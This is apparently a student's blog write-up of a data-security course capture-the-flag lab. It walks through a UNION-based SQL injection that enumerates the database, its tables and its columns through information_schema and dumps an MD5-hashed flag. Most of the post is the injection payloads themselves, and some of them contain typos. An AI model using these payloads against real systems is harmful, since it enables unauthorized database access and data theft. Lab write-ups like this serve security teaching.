数据安全课设实验:Sql1

Sql1寻找flag

 

提交:ID=1

结果:是一个注入点。成功select出表有ID、name、age三列。

 

 

猜测需要补全一个单引号:

提交:id=1‘

结果:不成功。说明一个‘不行。

 

继续猜测,需要两个单引号

提交:id=1‘’

结果:成功。说明sql语句需要补全两个单引号。

 

字段数,使用order by,并使用二分法寻找

提交:id=1 ‘order by 3’

结果:不成功。报错是单引号语法错误,因为后面没有加隔断。

 

添加隔断--+-:

提交:id=1 ‘order by 3 --+-’

结果:成功访问,但是没有3列。

Tips:这里的+有可能会被转义,建议直接在网址上面输入

 

 

 

二分法,查是否是两列

提交:id=1 ‘order by 2 --+-’

结果:成功,说明有两列

查询数据库名称

提交:id=9‘ union select database(),2--+-’

结果:查询出数据库名称targetsys。

查询有什么表

提交:id=9’ union select group_concat(table_name),2 from information_schema.tables where table_schema like data--+-’

结果:查出5个表,其中有我们要的flag表

查询列名

提交:id=9 ‘ union select group_concat(column_name),2 from information_schema.colums where table_name like ‘flag’--+-’

结果:查询出两列,id和flag

查询flag

提交:id=9‘ union select group_concat(id,”-”,flag),2 from flag --+-’

结果:查出flag,但是很明显是密文。利用在线解密工具,翻译出原文是123456

Md5解密:123456

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值